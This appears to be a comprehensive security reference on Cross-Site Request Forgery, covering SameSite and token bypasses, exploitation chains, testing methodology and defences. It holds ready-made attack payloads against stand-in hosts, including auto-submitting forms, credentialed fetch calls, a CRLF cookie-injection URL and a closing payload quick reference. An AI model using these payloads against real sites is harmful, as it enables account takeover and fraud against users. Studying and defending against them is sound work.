Comprehensive CSRF Guide#
A practitioner’s reference for Cross-Site Request Forgery — attack surface, exploitation techniques, SameSite and token bypasses, real-world chains, and detection/prevention. Compiled from 37 research sources.
Table of Contents#
- Fundamentals
- Attack Surface & Preconditions
- Attack Delivery Techniques
- Content-Type & JSON CSRF
- SameSite Cookie Model
- SameSite Bypass Techniques
- CSRF Token Bypasses
- Referer / Origin Check Bypasses
- Method Override & Verb Tampering
- Login & Logout CSRF
- CORS Misconfiguration Chains
- Clickjacking Overlap
- Real-World Cases & CVEs
- Exploitation Chains
- Tools & Automation
- Detection & Testing Methodology
- Prevention & Defense in Depth
- Payload Quick Reference
1. Fundamentals#
Cross-Site Request Forgery (CSRF / XSRF / “sea-surf”) is an attack that tricks an authenticated user’s browser into submitting a state-changing request to a target application. The victim’s browser automatically attaches ambient credentials — cookies, HTTP Basic auth, client certificates, Kerberos tickets, IP-based authorization — so the target application cannot distinguish a forged request from a legitimate one.
CSRF exploits the trust a site places in the browser, which is the inverse of XSS (where the browser trusts the site).
The three preconditions#
- A valuable state-changing action — password reset, email change, funds transfer, role elevation, item purchase, API key creation.
- Cookie-based (or otherwise ambient) session handling — if the app requires a token injected by JavaScript in a custom header, a cross-origin page cannot forge it because of the Same-Origin Policy.
- No unpredictable request parameters — everything the server checks must be knowable or guessable by the attacker in advance.
Break any one of these and CSRF fails. Defenses are really just structured ways of adding an unpredictable parameter or making cookies non-ambient.
Same-Origin Policy vs. cookie scoping#
The SOP prevents a cross-origin page from reading responses from another origin, but it does not prevent sending requests. Browsers freely fire off:
<img src>,<script src>,<link rel=stylesheet>,<iframe src>→ GET<form method=POST>→ POST (with limited Content-Type values)fetch()/XMLHttpRequest→ any method, but subject to CORS preflight for anything beyond “simple”
Cookies are scoped by domain + path, not by the origin that initiated the request. Unless a cookie sets SameSite, every single one of the request types above will carry it.
CSRF vs. SSRF vs. XSS#
| Attack | Direction of trust | Attacker position |
|---|---|---|
| CSRF | App trusts browser | Cross-site page in victim’s browser |
| XSS | Browser trusts app | Script injected into app origin |
| SSRF | Backend trusts user-supplied URL | Attacker-controlled input to a server fetch |
XSS defeats CSRF tokens (the script runs in-origin and can read them). CSRF can be used to write stored XSS. The two pair naturally.
2. Attack Surface & Preconditions#
High-value CSRF sinks#
| Category | Examples |
|---|---|
| Account takeover | Change email, change password, add recovery phone, add OAuth identity, reset MFA |
| Privilege escalation | Add admin role, change permission, promote user, add SSH key |
| Financial | Transfer funds, add payee, change billing address, checkout |
| Data destruction | Delete account, wipe repo, empty shopping cart, clear messages |
| Configuration | Disable 2FA, change security questions, whitelist IP, disable audit logs |
| Social | Post content, send DM, follow user, like/upvote, subscribe |
| API surface | Create API key, rotate secret, add webhook URL, grant OAuth scope |
Session management patterns that are CSRF-able#
- Plain session cookies without
SameSite SameSite=Laxcookies on endpoints that accept GET for state changeSameSite=Laxcookies within the 2-minute Chrome new-cookie grace window- HTTP Basic authentication (browser caches credentials per-realm)
- Client certificates (browser auto-presents)
- IP allowlisting (any browser on an allowed network can be abused)
- Windows Integrated Authentication / NTLM / Kerberos
Preconditions that kill CSRF#
- Session token passed in
Authorization: Bearer ...header set by JS - Origin/Referer strictly validated and fail-closed
- Per-session CSRF token tied to session, validated on every state-changing verb
SameSite=Stricton the session cookie- Requires CAPTCHA or re-authentication on the sensitive action
- Unpredictable parameter the attacker cannot know (e.g. current password required)
3. Attack Delivery Techniques#
GET-based CSRF (simplest)#
If the target endpoint accepts GET and performs a state change, any tag that fetches a URL works:
<img src="https://victim.net/account/change-email?email=attacker@evil.tld">
Tags that auto-issue a GET cross-origin:
<iframe src="..."></iframe>
<script src="..."></script>
<img src="..."/>
<embed src="..."/>
<audio src="..."></audio>
<video src="..."></video>
<source src="..."/>
<link rel="stylesheet" href="..."/>
<object data="..."></object>
<body background="..."/>
<div style="background:url('...')"></div>
<bgsound src="..."/>
<track src="..."/>
<input type="image" src="..."/>
Form POST#
Classic auto-submitting form — no user interaction required:
<html><body>
<form action="https://victim.net/account/change-email" method="POST" id="f">
<input type="hidden" name="email" value="attacker@evil.tld"/>
</form>
<script>
history.pushState('', '', '/'); // hide the URL
document.getElementById('f').submit();
</script>
</body></html>
history.pushState rewrites the address bar so the victim doesn’t see the attacker’s payload URL. Other auto-submit tricks:
<input ... autofocus onfocus="f.submit()">
<img src="x" onerror="f.submit()">
Form POST through a hidden iframe#
Keeps the visible page intact after submission (the response loads inside the iframe):
<iframe style="display:none" name="sink"></iframe>
<form method="POST" action="/change-email" target="sink" id="f">
<input type="hidden" name="email" value="attacker@evil.tld"/>
</form>
<script>document.getElementById('f').submit();</script>
AJAX / fetch() POST with credentials#
fetch or XMLHttpRequest with credentials:'include' / withCredentials=true sends cookies. For “simple” requests this does not trigger a preflight:
fetch('https://victim.net/api/role', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'username=guest&role=admin'
});
“Simple” = GET | POST | HEAD, Content-Type one of application/x-www-form-urlencoded | multipart/form-data | text/plain, no custom headers. Step outside any of these and CORS preflight fires, which an opaque no-cors mode can sometimes still route around (the response is unreadable, but the side-effect lands).
multipart/form-data POST#
Useful when the endpoint expects file uploads:
const fd = new FormData();
fd.append('file', new Blob(['payload'], {type: 'text/plain'}), 'pwn.txt');
fetch('https://victim.net/upload', {method: 'POST', body: fd, credentials: 'include', mode: 'no-cors'});
You can also hand-build the multipart body and call xhr.sendAsBinary() (or the modern equivalent) for finer control of boundary and headers.
4. Content-Type & JSON CSRF#
Conventional wisdom: “We only accept application/json, so we’re safe from CSRF” — often wrong.
The preflight rule#
HTML forms can only set Content-Type to application/x-www-form-urlencoded, multipart/form-data, or text/plain. Setting application/json from JS forces a CORS preflight (OPTIONS) that, without the right Access-Control-Allow-* response headers, the browser will block.
Bypasses#
text/plainform trick. HTML<form enctype="text/plain">lets you shove JSON-shaped strings into a form-encoded body. The server reading the request as JSON often parses it successfully:<form action="https://victim.net/api" method="POST" enctype="text/plain"> <input name='{"email":"attacker@evil.tld","junk":"' value='"}'/> </form>The resulting body is roughly
{"email":"attacker@evil.tld","junk":"="}— valid-enough JSON for many parsers.Content-Type confusion. Some servers happily parse JSON even when the request is labeled
text/plainorapplication/x-www-form-urlencoded. Test every endpoint with all three “simple” content types.Hybrid header.
Content-Type: text/plain; application/jsonis still a CORS-safe “text/plain” variant to the browser but some server stacks read it as JSON.Flash (
.swf) / legacy cross-domain files. Historically used to set arbitrary headers. Mostly dead but occasionally alive in intranet environments.No-CORS fire-and-forget. If you only need the side effect and don’t need to read the response,
mode:'no-cors'onfetchallows many cross-origin POSTs with arbitrary bodies — the browser still sends them, just refuses to expose the response.
5. SameSite Cookie Model#
SameSite is a cookie attribute that tells the browser when to attach a cookie to cross-site requests.
“Site” vs. “origin”#
A site is the registrable domain — eTLD+1 (e.g. example.com, example.co.uk). An origin is scheme + host + port. All of these are same-site but cross-origin to https://app.example.com:
| From | To | Same-site? | Same-origin? |
|---|---|---|---|
https://app.example.com | https://intranet.example.com | Yes | No (host) |
https://example.com | https://example.com:8443 | Yes | No (port) |
https://example.com | http://example.com | No (scheme) | No |
https://example.com | https://example.co.uk | No (eTLD) | No |
Consequence: any XSS on any subdomain of the same site undermines SameSite defenses for the whole site.
The three modes#
| Mode | Cross-site GET top-level nav | Cross-site background request (img/fetch/iframe) | Cross-site POST |
|---|---|---|---|
Strict | not sent | not sent | not sent |
Lax | sent | not sent | not sent |
None (+Secure) | sent | sent | sent |
Lax-by-default#
Chrome (followed by most other major browsers) treats cookies with no explicit SameSite attribute as Lax. But for backwards compatibility with SSO, Chrome grants a 2-minute grace window during which an unlabeled cookie still behaves like None for top-level cross-site POSTs. Explicit SameSite=Lax does not get the grace window.
Strict user-experience catch#
In Strict mode, clicking a link from an external site into victim.com does not carry the cookie — the user appears logged out on first hop. Many sites split credentials into a “convenience” cookie (no SameSite) and a “sensitive action” cookie (Strict) to work around this.
6. SameSite Bypass Techniques#
6.1 GET-accepting endpoints under Lax#
If the endpoint accepts both GET and POST for a state change, Lax doesn’t help:
<script>location='https://victim.net/transfer?to=attacker&amount=1000000';</script>
Any top-level navigation — window.location, <a> click, meta refresh — counts. This is the single most common SameSite bypass in the wild.
6.2 Method override under Lax#
A POST form sending _method=GET (Symfony/Laravel/Express/Rails pattern) can convince the routing layer that it’s a GET while the browser sees a cross-site POST — which is blocked by Lax. However, the inverse — sending the form as a normal top-level GET navigation with _method=POST — gets cookies attached (Lax allows GET) while the app routes to the POST handler. PortSwigger’s “SameSite Lax bypass via method override” lab is this exact pattern:
<form action="https://victim.net/my-account/change-email" method="POST">
<input type="hidden" name="_method" value="GET">
<input type="hidden" name="email" value="attacker@evil.tld">
</form>
Frameworks that honor a _method body parameter or X-HTTP-Method-Override, X-HTTP-Method, X-Method-Override headers are candidates.
6.3 The Chrome 2-minute window (Lax bypass via cookie refresh)#
If the cookie was set without an explicit SameSite attribute, Chrome allows top-level cross-site POSTs for the first 120 seconds after the cookie was issued. Two practical ways to hit the window:
- Trigger a fresh login via SSO. OAuth/SSO flows typically rotate the session cookie each time. Pop
https://victim.net/login/ssoin a new tab to force a re-login (which often completes without user interaction if the IdP session is live), then submit the CSRF POST within 120 seconds. - Chain with any “log me in again” / “remember me refresh” endpoint. Any gadget that writes a new session cookie resets the grace window.
Popup-block workaround — browsers block window.open unless triggered by a user gesture, so gate the call on an onclick:
<div onclick="window.open('https://victim.net/login/sso')">Click for your prize</div>
6.4 On-site gadgets (Strict bypass)#
Strict blocks every cross-site inbound request — but same-site requests (redirects, fetches, iframes originating from the victim’s own domain) still carry the cookie. If the target site has:
- A client-side open redirect (
#redirect=...anchor handler,location = param) - A DOM-based URL reflection that can be weaponized into navigation
- A same-site XSS on any subdomain
…then the attacker can point the victim at the gadget, which performs a same-site secondary request that the browser happily cookies. Server-side 3xx redirects do not work this way — browsers correctly track that the initial navigation was cross-site.
6.5 Sibling subdomain takeover#
Expired CNAMEs, dangling S3 buckets, or unclaimed Azure resources pointing at *.example.com give an attacker a cookie-bearing same-site position. Perfect for planting cookies into the victim’s cookie jar (double-submit cookie bypass) or hosting the gadget in §6.4.
6.6 Cross-Site WebSocket Hijacking (CSWSH)#
WebSocket handshakes are ordinary HTTP Upgrade requests. They carry cookies, and SameSite rules apply — but if the handshake is treated as a GET top-level navigation (which it is in many stacks), Lax does not block them. If the app fails to check Origin on the handshake, the attacker opens a socket from their site and pipes messages bidirectionally as the victim.
7. CSRF Token Bypasses#
Token-based defenses are mechanistic. Every step has a failure mode.
7.1 Token absence = validation skipped#
POST /admin/users/role HTTP/1.1
Cookie: session=...
username=guest&role=admin
If the server validates the token only when present, remove the parameter entirely (not just empty-string it, though that’s also a check — see below).
7.2 Empty token accepted#
Some implementations check if token is set but not if token is non-empty:
csrf=&username=guest&role=admin
7.3 Token not bound to session#
The server keeps a global pool of “valid tokens” and accepts any of them for any session. Steps:
- Log in as the attacker.
- Grab a valid token from the attacker’s own session.
- Embed that token in the CSRF PoC delivered to the victim.
The victim’s browser sends it, the global-pool check passes. Stored CSRF (via a rich-text editor that renders an attacker-controlled <img> into other users’ views) becomes a one-token-fits-all weapon against every viewer.
7.4 Token bound to the wrong session#
The token is tied to a session, but not the victim’s session. For example, the token is tied to a pre-auth cookie that persists across login. Attacker-supplied pre-auth cookie + attacker-supplied token + victim’s post-auth cookies = successful CSRF. Laravel’s historical misconfigurations fit this pattern.
7.5 Token verified only by cookie presence / length / format#
- Same length random string. Some apps only check length or character class.
- “Starts with [A-Za-z0]” heuristic. Roughly 85% of CSRF tokens begin with a letter or
0; setting the value to0(especially as a JSON integer vs. string) has broken naive string comparisons in Laravel-style libraries. - Token value vs. cookie value comparison only. If the attacker can set the cookie (see 7.6), they control both sides of the comparison.
7.6 Cookie injection → naive double-submit bypass#
Double Submit Cookie: server sets csrf=X as a cookie, client mirrors it in a hidden form field, server checks both equal. The naive version is broken when the attacker can plant a cookie:
- CRLF injection in a response header →
Set-Cookie: csrf=attacker-valuecan be smuggled into the victim’s jar:<img src="https://victim.net/search?q=foo%0d%0aSet-Cookie:%20csrf=ATTACK" onerror="document.forms[0].submit()"> - Vulnerable sibling subdomain writing a
Domain=.victim.netcookie. - MITM on plain HTTP for non-HSTS sites.
- Weak or absent
__Host-prefix — without it, there’s no browser-enforced guarantee that the cookie originated from the target host.
Once the attacker-chosen value is in the jar, the form field can carry the same value.
7.7 Method-conditioned validation (POST-only checks)#
Classic PHP anti-pattern:
public function csrf_check($fatal = true) {
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // skip for GET/HEAD/etc
// ... validate __csrf_token ...
}
If the controller reads params from $_REQUEST (which includes $_GET), you can reissue the same action as a GET with no token:
GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[...] HTTP/1.1
This is also a reliable path when the GET form of the endpoint returns text/html and contains reflected XSS — one link, both the CSRF and the XSS land.
7.8 Custom header bypass#
If the CSRF protection is “just check for header X-Requested-With: XMLHttpRequest”, test dropping the header and the body value:
- Works if the server enforces the header only when present.
- Works if the server accepts an empty header value.
- Cross-origin form POSTs and simple fetches cannot set custom headers — which is actually why custom-header defenses are useful — but older Flash/CORS-misconfigured environments can.
7.9 HEAD-as-GET routing#
Some frameworks (Oak on Deno, older Rails/Express routers) map HEAD requests to the GET handler, stripping the body on the way out. If GET is rate-limited or behind a nonce, HEAD may sidestep both because the dispatcher only inspects the verb.
8. Referer / Origin Check Bypasses#
Header-based defenses are cheap and common — and full of pitfalls.
Suppressing the Referer entirely#
Some apps only validate Referer when present and fail-open when absent. Strip it:
<meta name="referrer" content="no-referrer">
Other suppression tricks: Referrer-Policy: no-referrer, navigating through a data:/blob: URL, a rel="noreferrer" link, or an HTTPS→HTTP downgrade.
Regex bypasses#
If the check is if "victim.com" in referer:
| Payload | Reason it slips |
|---|---|
https://attacker.com/victim.com | path match on a substring check |
https://victim.com.attacker.com/ | prefix match |
https://attacker.com?victim.com | query match (combine with <meta referrer=unsafe-url> to keep the query) |
https://notvictim.com/ | startswith miss when the check is endswith |
https://victim-com.attacker.com/ | hyphen-for-dot on loose regex |
Force the query string to appear in Referer:
<meta name="referrer" content="unsafe-url">
<script>history.pushState('', '', '?victim.com');</script>
Origin header vs. Referer#
Originis sent on all CORS requests and most POSTs; on GETs it may be absent.- Validate
Originstrictly against an allowlist and fail closed when bothOriginandRefererare missing. Origin: nullis a legitimate value from sandboxed iframes,data:URLs, cross-origin redirects, and old file:// contexts — never treatnullas same-origin. Appearances of “Origin: null” that the server blindly trusts are a favorite CSRF bypass.
9. Method Override & Verb Tampering#
Modern web frameworks expose “override” mechanisms because HTML forms only know GET and POST. These override hooks are CSRF magnets.
Override channels to test#
- Body parameter:
_method=DELETE,_method=PUT,_method=PATCH,_method=GET - Query string:
?_method=DELETE - Headers:
X-HTTP-Method-Override,X-HTTP-Method,X-Method-Override
Test matrix#
For a protected endpoint POST /users/delete with CSRF enforcement:
| Request | Likely behavior |
|---|---|
POST /users/delete + token | allowed |
POST /users/delete no token | blocked |
POST /users/delete + _method=DELETE no token | many frameworks skip CSRF for “safe” verbs, but the app executes delete |
GET /users/delete?_method=POST | Lax allows, CSRF check may skip |
HEAD /users/delete | routed to GET handler on Oak/etc. |
PATCH /users/delete | unprotected handler route |
Rule of thumb: any verb that routes to a state-changing handler must be protected, not just POST.
10. Login & Logout CSRF#
Login CSRF#
The attacker forces the victim to log in to an attacker-controlled account. Everything the victim subsequently does — searches, file uploads, payment card entry — gets written into the attacker’s account.
<form action="https://victim.net/login" method="POST">
<input type="hidden" name="username" value="attacker@evil.tld"/>
<input type="hidden" name="password" value="Hunter2!"/>
</form>
<script>document.forms[0].submit();</script>
Impact alone is low but pairs brutally with:
- Stored XSS in the attacker’s own account. Once the victim is forced into it, the XSS executes in their browser with their user-agent / fingerprint. Chains into session theft on a second site, cookie exfiltration, etc.
- Password manager auto-fill — after the forced login, visiting a checkout page auto-fills the attacker’s stored card under the victim’s active session, dumping it into the attacker’s account history.
- OAuth token binding — the victim grants scopes to the attacker-controlled identity.
- Activity logging/tracking collects the victim’s browsing data under attacker-owned records.
Login endpoints must carry a CSRF token and/or Origin check.
Logout CSRF#
Force-logout is the lowest-severity end of the spectrum. Legitimate impact scenarios:
- Denial of service on active workflows (shopping cart loss, document edit loss)
- Forced re-authentication into an attacker-controlled account (logout → login CSRF chain)
- Breaking security guarantees of ephemeral session binding (mixing identities)
Most programs treat bare logout CSRF as informational. Chain it to upgrade severity.
OAuth state parameter#
OAuth 2.0’s state is specifically a CSRF defense for the redirect-back step: it binds the authorization response to the client session that initiated it. Missing or unverified state lets the attacker complete an authorization flow in their browser, steal the code, and feed it to the victim’s callback — account linking CSRF, sometimes upgraded to ATO when the provider auto-links identities.
11. CORS Misconfiguration Chains#
CORS and CSRF are tangled. A correct CORS policy prevents an attacker origin from reading cross-origin responses, so it can provide token-extraction resistance. A misconfigured one enables new classes of CSRF.
Dangerous patterns#
| Misconfig | Exploit |
|---|---|
Access-Control-Allow-Origin: * and Access-Control-Allow-Credentials: true | Technically rejected by browsers — but some servers reflect Origin with * logic, enabling cross-site reads |
Access-Control-Allow-Origin: <reflected Origin> with ACAC:true | Full cross-site read — exfil CSRF tokens trivially |
Access-Control-Allow-Origin: null with ACAC:true | Iframes with sandbox produce Origin: null → attacker can read responses |
Overly broad regex (^.*\.victim\.net$ allowing evil.victim.net.attacker.com) | Same as reflected Origin |
| Pre-flight cached across origins | Subtle — relax protection for endpoints that later add auth |
CORS as a CSRF defense#
OWASP and Mixmax’s pattern: instead of tokens, require a custom header like X-Requested-By: victim-web on all state-changing requests. Custom headers trigger a CORS preflight which a cross-origin page cannot satisfy without explicit Access-Control-Allow-Headers from the server. Correctly implemented, this kills form-based CSRF for API endpoints. Pitfalls:
- Must apply to all verbs, including GET if GET mutates state.
- Must fail closed when the header is missing.
- Breaks if the server has wildcard CORS.
12. Clickjacking Overlap#
Clickjacking (UI redress) and CSRF overlap when the target endpoint requires a click but no token. Overlay the vulnerable button inside a transparent iframe on the attacker page, trick the user into clicking it (“Win a prize!”). The click is user-initiated from the browser’s perspective — perfect for bypassing defenses that look for “user-gesture-required” signals:
- SameSite Strict — still blocks, because the iframe request is cross-site.
requires_user_activationpopup blockers — the victim really did click.- reCAPTCHA “Are you a human?” checkbox — the victim really ticks it.
Defenses: X-Frame-Options: DENY / SAMEORIGIN, Content-Security-Policy: frame-ancestors 'none', SameSite=Strict on session cookies. A site that relies on CSRF tokens but skips framing protection is not CSRF-safe against clickjacking.
13. Real-World Cases & CVEs#
Facebook / Instagram Business Tools GraphQL CSRF (2017, $7,500)#
Discovered by Philippe Harewood. business.instagram.com exposed a GraphQL endpoint that accepted queries via GET query-string parameters — no requirement to POST, no per-request token tied to the user. The endpoint executed the caller’s GraphQL mutation under the authenticated business-tools access token.
PoC — victim-specific URL embedding a SyncAddMutations → story_create mutation:
https://business.instagram.com/business/graphql?q=Mutation SyncAddMutations: ... story_create(<input>){client_mutation_id}&query_params={'input':'{\'actor_id\':\'TARGET_ID\',...,\'message\':{\'text\':\'MaliciousMessage\'}}'}&fixend
An <img src> of this URL on an attacker page caused arbitrary mutations (post stories, change data, etc.) as any authenticated victim when they happened to visit. Fixed within 48 hours. Lessons:
- GraphQL over GET is a CSRF anti-pattern — use POST + custom header, or enforce an
Origin/token check. - Any GraphQL mutation behind
/graphqlmust require a custom Content-Type or header to force preflight.
Classic CVEs worth studying#
| CVE / ID | Target | Root cause |
|---|---|---|
| CWE-352 | (class) | The canonical CSRF CWE definition |
| CVE-2018-14667 | JBoss RichFaces | Unauthenticated state-changing GET via Resource Servlet |
| CVE-2019-11358 | jQuery extend | Prototype pollution enabling CSRF token overwrite in clients |
| Django CVE-2016-7401 | Google Analytics cookie | Parsing bug allowed CSRF cookie smuggling from sibling subdomain |
| Rails CVE-2022-32224 | Marshal deserialization in session | Not CSRF but illustrates why double-submit cookies must be HMAC-ed |
| Multiple WordPress CVEs | Plugin nonces | Missing/weak wp_nonce_field, nonces not checked server-side |
Shopify CSRF on account/addresses (2015) | Missing Origin check | Attacker controlled shipping address → order redirection |
| Uber (2016) | One-click ATO via login CSRF + XSS | Force login + stored XSS under attacker account = victim session hijack |
| Stripe CSRF on test-mode toggle (historical HackerOne) | Missing token on state-changing GET | Attack surface mapping lesson |
Even modern well-known targets (HackerOne disclosed reports include CSRF on GitHub, GitLab, Shopify, Yahoo, Twitter, Google) recur because of one of: unprotected GET, missing header on GraphQL/REST, method override, or token bound to wrong session.
14. Exploitation Chains#
CSRF is most valuable as a link in a chain.
Chain 1: CSRF → ATO (account takeover)#
- Find state-changing endpoint that rewrites email or password recovery address.
- Verify no CSRF token / broken token / Lax GET path.
- Host PoC that flips
recovery_emailto attacker. - Trigger password reset from the normal flow → takeover.
Chain 2: Stored CSRF → mass ATO#
Rich-text editor or comment feature allows <img> tags. Embed:
<img src="https://victim.net/account/settings?newEmail=attacker@evil.tld">
Every viewer executes it. If the token isn’t session-bound, the whole user-base is one <img> tag from being taken over.
Chain 3: Login CSRF → stored XSS → session theft#
- Attacker plants stored XSS inside their own account page.
- Login CSRF forces the victim into the attacker’s account.
- Victim auto-navigates to the XSS-bearing page.
- XSS exfiltrates the attacker-account session cookie via
fetchto attacker.com — but now paired with the victim’s device fingerprint, geolocation, saved payment methods, and 2FA bypasses.
Chain 4: Subdomain takeover → cookie injection → double-submit bypass#
- Attacker claims an abandoned
*.victim.netsubdomain. - Serves a page that sets a
Domain=.victim.net; csrf=ATTACKcookie. - Naive double-submit cookie defense accepts the planted value.
- CSRF PoC embeds the same
csrf=ATTACKin the body — request accepted.
Chain 5: Open redirect → SameSite Strict bypass#
- Identify an on-site client-side open redirect (
/r#go=...). - Host PoC that navigates top-level to the redirect URL with the state-changing action as the redirect target.
- Browser fires the secondary request same-site, carrying Strict cookies.
Chain 6: CSRF → SSRF#
A CSRF on an admin “test webhook” endpoint lets you make the server fetch arbitrary URLs on the attacker’s behalf. If the admin console trusts the victim’s browser, you get the victim’s SSRF as if they configured it themselves — useful when the admin is the only user with network reachability to sensitive internal services.
Chain 7: CSRF → CSP bypass#
Reports where CSP report-uri endpoints, trusted-types allowlists, or plugin sources accepted user-controlled URLs and were CSRF-able into pointing at attacker infrastructure, then chained into XSS evaluation.
15. Tools & Automation#
Burp Suite#
- Target → Engagement tools → Generate CSRF PoC — automatic HTML form PoC generation from any request in the history. Supports POST, multipart, XML, JSON via form trick.
- Scanner (Pro) — finds missing token, token-not-validated, token-reused.
- CSRF Scanner extension — deeper token-handling analysis.
- Turbo Intruder — bulk-test token boundedness by replaying 1,000 requests with an attacker-borrowed token against different sessions.
- Param Miner — find hidden parameters that override method (
_method).
OWASP ZAP#
- Active scan rule 10202 “Absence of Anti-CSRF Tokens”
- Form inspector flags state-changing forms without hidden token fields
- Anti-CSRF token handling (feed ZAP the token selector, scans replay fresh tokens)
XSRFProbe / Bolt / DSSS#
- XSRFProbe — CLI scanner for CSRF in forms, tokens, and cookies; maps token strength.
- Bolt (by s0md3v) — crawls a target, fingerprints tokens, scores entropy, auto-generates PoCs.
Browser-side tooling#
- Chrome DevTools → Application → Cookies — inspect SameSite attribute per cookie.
- Firefox Storage Inspector — same plus history.
- “Copy as fetch” from the Network panel — drop into an attacker test page.
Custom scripting#
- Playwright / Puppeteer headless rigs for reproducing grace-window attacks.
- Python
requests+seleniumfor chaining login, refresh, and CSRF POST.
16. Detection & Testing Methodology#
Phase 1: Map state-changing endpoints#
Crawl the app with Burp/ZAP, flag every request where method ≠ GET or where GET is suspected to mutate state (e.g. ?action=delete). Also look in JavaScript bundles for fetch(, xhr.open(, router definitions.
Phase 2: For each endpoint, run the token harness#
| Test | Expected if protected | Indicator of bug |
|---|---|---|
| Replay request with no CSRF param | 403 | 200 → token presence check missing |
| Replay with empty CSRF param | 403 | 200 → empty accepted |
| Replay with another user’s CSRF token | 403 | 200 → not session-bound |
| Replay with a random same-length string | 403 | 200 → length-only check |
Replay with token = 0, true, null | 403 | 200 → type coercion bug |
| Replay with token in URL instead of body | 403 preferred | Also a Referer leak risk |
| Replay with token reused across requests | Depends on per-request vs per-session | - |
Phase 3: Method tests#
- Swap POST → GET, PUT, DELETE, PATCH, HEAD.
- Add
_method=GET/_method=POSTbody and query parameter. - Add
X-HTTP-Method-Override: DELETE. - Observe routing behavior and CSRF check outcomes.
Phase 4: Content-Type tests#
application/x-www-form-urlencodedmultipart/form-datatext/plainapplication/jsontext/plain; application/jsonapplication/xml,text/xml
Phase 5: Header origin tests#
- Remove
Origin, removeReferer, remove both. Origin: nullOrigin: https://attacker.comReferer: https://attacker.com/?victim.comReferer: https://victim.com.attacker.com/Referer: https://attacker.com/victim.com
Phase 6: SameSite context#
- Capture the
Set-Cookiefor the session. NoteSameSitevalue (or absence). - If
Laxor absent, craft a top-level GET PoC. - If Strict, look for on-site redirect gadgets or sibling-subdomain XSS.
- Check whether the cookie was re-issued recently (Chrome grace window opportunity).
Phase 7: Generate PoC and confirm#
- Use Burp “Generate CSRF PoC” or write by hand.
- Host on attacker origin (required — local file:// may behave differently).
- Open in a fresh browser profile logged in as a different account.
- Confirm the state-change happened on the victim account.
What to look at first during a black-box test#
/account/*,/settings/*,/profile/*,/api/v*/users/*/email- GraphQL endpoints (POST and GET)
- Admin endpoints (
/admin/*) — CSRF impact is maximized - Webhook / integration config pages
- 2FA/MFA enrollment endpoints
- OAuth authorization and consent callbacks
- File upload / profile picture endpoints
17. Prevention & Defense in Depth#
Layered model (OWASP-aligned)#
- Use your framework’s built-in CSRF protection. Rolling your own is a subtle mistake factory. Django, Rails, Laravel, Spring Security, ASP.NET, Express middleware, Go 1.25’s
http.CrossOriginProtection— all maintained by people who think about this full-time. - Synchronizer Token Pattern — state-changing operations carry a per-session (or per-request) unpredictable token. Server compares against server-side session state. Transmit via form field or custom header; never in a query string (leaks to logs and Referer).
- Signed Double-Submit Cookie (HMAC-bound to session) — stateless alternative. Token =
HMAC(secret, sessionID || randomValue). Cookie contains the full token; the form/header contains the same token. Server validates HMAC and, crucially, that the bound session matches the current session. The naive (unbound) version is vulnerable to cookie injection from sibling subdomains. SameSite=LaxorStricton session cookies. Defense in depth — not a complete defense on its own, but a significant reduction in attack surface. PreferStrict; fall back toLaxonly for UX reasons. Use__Host-cookie prefix to ensure host binding.- Fetch Metadata (
Sec-Fetch-Site). Reject state-changing requests whereSec-Fetch-Siteiscross-site. 98%+ browser support. Require fallback to standard origin verification for legacy clients. - Origin / Referer verification. Allowlist exact origins; fail closed when both headers are missing. Never use substring or loose regex matching.
- Custom header on API endpoints. Require
X-Requested-With: XMLHttpRequestor app-specificX-CSRF: 1on all state-changing API calls. Cross-origin pages cannot set custom headers without a preflight, which you can refuse. - Step-up authentication on sensitive actions. Require password / 2FA on password change, email change, payment, privilege change. This is the “unpredictable parameter” the attacker cannot supply.
- Never use GET for state-changing operations. If you must, apply CSRF protection to those GETs and document why.
- Protect login and logout. Always.
- Set
X-Frame-Options: DENYorframe-ancestors 'none'against clickjacking. - Short session lifetimes and re-auth on sensitive pages.
What doesn’t work#
- Obscurity of parameter names (
?_csrf_random_12345=...) — any JS on the page reads the form. - Referer check alone — easily suppressed or forged in older browsers / non-browser clients.
- Checking only POST — method override defeats it.
- Checking only
Content-Type: application/json—enctype="text/plain"bypass. - Naive double-submit cookie without HMAC binding — cookie injection defeats it.
- CSRF token in URL — leaks to logs, Referer, browser history.
- Putting the token in a cookie and only validating the cookie — that’s just the session cookie again.
- SameSite alone without token — grace window, Lax GET, and on-site gadgets remain.
Framework-specific notes#
- Rails —
protect_from_forgery with: :exceptionglobally;:null_sessionis weaker. - Django —
{%csrf_token%}template tag +CsrfViewMiddleware; mind@csrf_exemptand AJAX headers. - Laravel —
VerifyCsrfTokenmiddleware;@csrfblade directive; check$exceptfor endpoints people forgot. - Express —
csurfis deprecated; use@dr.pogodin/csurforcsrf-csrfwith signed double-submit. - Spring Security —
http.csrf().csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())for SPAs; beware accidentally disabling for/api/**. - ASP.NET —
[ValidateAntiForgeryToken]on every POST action; MVC automatically injects tokens into form helpers. - Sinatra — opt-in via
Rack::Protection::AuthenticityToken; manual token verification in handlers. - WordPress —
wp_nonce_field/wp_verify_nonce/check_admin_referer/check_ajax_referer; nonces are not cryptographically random and are user-tied, but must be explicitly verified in every handler — common plugin mistake.
18. Payload Quick Reference#
Auto-submit GET#
<img src="https://victim.net/endpoint?p=v">
Auto-submit POST form#
<form id=f action="https://victim.net/endpoint" method="POST">
<input type="hidden" name="p" value="v">
</form>
<script>history.pushState('','','/');document.getElementById('f').submit();</script>
Auto-submit POST with URL hidden in iframe#
<iframe style="display:none" name="s"></iframe>
<form id=f action="https://victim.net/endpoint" method="POST" target="s">
<input type="hidden" name="p" value="v">
</form>
<script>document.getElementById('f').submit();</script>
JSON via text/plain form trick#
<form action="https://victim.net/api" method="POST" enctype="text/plain">
<input name='{"key":"value","x":"' value='"}'>
</form>
<script>document.forms[0].submit();</script>
Multipart POST with file#
const fd=new FormData();
fd.append('f',new Blob(['data'],{type:'text/plain'}),'a.txt');
fetch('https://victim.net/upload',{method:'POST',body:fd,credentials:'include',mode:'no-cors'});
Fetch with cookies, no preflight#
fetch('https://victim.net/api',{method:'POST',credentials:'include',
headers:{'Content-Type':'application/x-www-form-urlencoded'},
body:'key=value'});
Method override (SameSite Lax bypass)#
<form action="https://victim.net/users/delete" method="POST">
<input type="hidden" name="_method" value="GET">
<input type="hidden" name="id" value="42">
</form>
CRLF cookie injection (double-submit cookie bypass)#
